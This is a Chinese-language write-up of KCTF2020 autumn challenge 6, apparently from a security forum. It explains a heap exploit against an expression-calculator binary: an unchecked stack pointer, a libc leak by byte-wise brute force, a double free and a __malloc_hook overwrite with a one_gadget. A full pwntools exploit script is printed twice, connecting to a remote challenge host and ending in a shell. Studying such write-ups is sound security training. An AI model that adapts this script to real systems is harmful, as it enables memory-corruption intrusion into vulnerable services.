-
-
[原创] KCTF2020 秋季赛 第六题 兵刃相向
-
发表于: 2020-12-15 00:20 6724
-
在evaluate_postfix_expression中:
可以看到此时计算,没有对val_stack_ptr进行check
而且在create时:
直接memcpy,有可能造成和前面free的垃圾数据想接
例如,正确情况下process_infix_token解析:
free后create,新解析的数据和垃圾数据相接:
在evaluate_postfix_expression中val_stack[val_stack_ptr++] = res,就会造成stack向前越界一个位置进行运算
而:
stack前就是一个g_symbol_ptrs
由于可以越界stack,可以将一个g_symbol_ptrs进行运算
将其name位置指向一个unsortedbin的fd,就可以利用reevaluate功能(通过symbol是否存在)逐字节爆破出fd(leak libc)
而后再次利用对g_symbol_ptrs进行运算,将其和另一个symbol指向同一位置即可通过堆风水进行double free(让一个chunk_addr&0xff=0,以便double free时猜测symbolname)
double free后指向&\_mallochook-0x23,此时,symbol.value就是\_malloc_hook,输入一个计算得到one_gadget的算式设置__malloc_hook即可,再次create即可触发one_gadget
else
if
(is_operator(e[i])){
uint64_t v1
=
val_stack[val_stack_ptr
-
2
];
uint64_t v2
=
val_stack[val_stack_ptr
-
1
];
val_stack_ptr
-
=
2
;
uint64_t res
=
calc(v1,v2,e[i]);
val_stack[val_stack_ptr
+
+
]
=
res;
}
else
return
0
;
}
else
if
(is_operator(e[i])){
uint64_t v1
=
val_stack[val_stack_ptr
-
2
];
uint64_t v2
=
val_stack[val_stack_ptr
-
1
];
val_stack_ptr
-
=
2
;
uint64_t res
=
calc(v1,v2,e[i]);
val_stack[val_stack_ptr
+
+
]
=
res;
}
else
return
0
;
}
int
total_size
=
19
+
8
+
peN;
void
*
p
=
malloc(total_size);
memcpy(p,symbol_name,
19
);
*
(uint64_t
*
)((char
*
)p
+
19
)
=
val;
memcpy((char
*
)p
+
27
,postfix,peN);
int
total_size
=
19
+
8
+
peN;
void
*
p
=
malloc(total_size);
memcpy(p,symbol_name,
19
);
*
(uint64_t
*
)((char
*
)p
+
19
)
=
val;
memcpy((char
*
)p
+
27
,postfix,peN);
1
+
1
+
1
=
>
1
1
+
1
+
1
+
1
+
1
=
>
1
1
+
1
+
第二次输入:
111
解析后
buffer
:
111
+
1
+
第二次输入:
111
解析后
buffer
:
111
+
1
+
typedef struct {
uint64_t g_broken;
uint64_t unused;
void
*
g_symbol_ptrs[
21
];
uint64_t g_val_stack[
50
];
} G_CTX;
typedef struct {
uint64_t g_broken;
uint64_t unused;
void
*
g_symbol_ptrs[
21
];
uint64_t g_val_stack[
50
];
} G_CTX;
from
pwn
import
*
# context.terminal = ['tmux', 'splitw', '-h']
context(arch
=
'amd64'
, os
=
'linux'
, log_level
=
'debug'
)
#p = process('./ee',env={'LD_PRELOAD':'./libc.so.6'})
p
=
remote(
"121.36.145.157"
,
10000
)
'''
printf("1.Create Symbol\n");
printf("2.Delete Symbol\n");
printf("3.Reevaluate Symbol\n");
printf("4.Show\n");
printf("5.Exit\n");
printf("Your choice : ");
'''
def
add(name, expression):
p.sendlineafter(
"Your choice : "
,
'1'
)
p.sendlineafter(
'Symbol name :'
, name)
p.sendafter(
'Expression : '
, expression)
def
delete(name):
p.sendlineafter(
"Your choice : "
,
'2'
)
p.sendlineafter(
'Symbol name : '
, name)
def
magic(name):
p.sendlineafter(
"Your choice : "
,
'3'
)
p.sendlineafter(
'Symbol name : '
, name)
def
show(name):
p.sendlineafter(
"Your choice : "
,
'4'
)
p.sendlineafter(
'Symbol name : '
, name)
s
=
"000000000000 + 0000000000 + 0000000000 + 0000000000 + 0000000000 + 0000000000 + 0000000000 + 0000000000 + 0000000000 + 0000000000 + 0000000000 "
for
i
in
range
(
16
):
add(
chr
(
97
+
i),
"1+1+1+1"
)
padding
=
"000000000000 + 0000000000 + 0000000000 + 0000000000 + 0000000000 "
add(
"pad"
,padding)
add(
"padd"
,padding)
add(
"paddd"
,padding)
add(
"kirin"
,s)
add(
"aaaaa"
,
"1+1"
)
delete(
"kirin"
)
delete(
"aaaaa"
)
add(
"aaaaa"
,
"1+1"
)
add(
"kirin"
,
"1+1+1+1"
)
delete(
"a"
)
add(
"a"
,
"0050"
)
magic(
"a"
)
key
=
[]
for
i
in
range
(
256
):
magic(
chr
(i)
+
"\x7f"
)
s
=
p.recvuntil(
"***"
)
if
"Reevaluate symbol finished"
in
s:
info(i)
key
=
chr
(i)
+
"\x7f"
break
delete(
"a"
)
add(
"a"
,
"1-1-1"
)
#1 1 - 1 -
delete(
"a"
)
add(
"a"
,
"0001"
)
magic(
"a"
)
for
j
in
range
(
3
):
for
i
in
range
(
256
):
magic(
chr
(i)
+
key)
s
=
p.recvuntil(
"***"
)
if
"Reevaluate symbol finished"
in
s:
info(i)
key
=
chr
(i)
+
key
break
magic(
'a'
)
info(key)
libc
=
u64(
"\x78"
+
key
+
"\x00\x00"
)
-
0x00007ffff7dd1b78
+
0x7ffff7a0d000
print
hex
(libc)
delete(
'a'
)
add(
'a'
,
'0272'
)
magic(
'a'
)
delete(
"pad"
)
delete(
"padd"
)
delete(
"paddd"
)
delete(
"\x00"
)
delete(
"a"
)
add(p64(libc
+
0x003c4b10
-
0x23
),padding)
add(
"kirin1"
,padding)
add(
"kirin2"
,padding)
libc
=
libc
+
0xf02a4
add(
"kirin3"
,(
str
(libc>>
32
)
+
"*"
+
str
(
0x100000000
)
+
"+"
+
str
(libc&
0xffffffff
)
+
"+0000000000+0000000+0"
).ljust(
0x36
,
'0'
))
add(
'kirin-say'
,
"0"
)
#gdb.attach(p)
p.interactive()
from
pwn
import
*
# context.terminal = ['tmux', 'splitw', '-h']
context(arch
=
'amd64'
, os
=
'linux'
, log_level
=
'debug'
)
#p = process('./ee',env={'LD_PRELOAD':'./libc.so.6'})
p
=
remote(
"121.36.145.157"
,
10000
)
'''
printf("1.Create Symbol\n");
printf("2.Delete Symbol\n");
printf("3.Reevaluate Symbol\n");
printf("4.Show\n");
printf("5.Exit\n");
printf("Your choice : ");
'''
def
add(name, expression):
p.sendlineafter(
"Your choice : "
,
'1'
)
p.sendlineafter(
'Symbol name :'
, name)
p.sendafter(
'Expression : '
, expression)
def
delete(name):
p.sendlineafter(
"Your choice : "
,
'2'
)
p.sendlineafter(
'Symbol name : '
, name)
def
magic(name):
p.sendlineafter(
"Your choice : "
,
'3'
)
p.sendlineafter(
'Symbol name : '
, name)
def
show(name):
p.sendlineafter(
"Your choice : "
,
'4'
)
p.sendlineafter(
'Symbol name : '
, name)
s
=
"000000000000 + 0000000000 + 0000000000 + 0000000000 + 0000000000 + 0000000000 + 0000000000 + 0000000000 + 0000000000 + 0000000000 + 0000000000 "
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)
赞赏
他的文章
看原图
赞赏
雪币:
留言: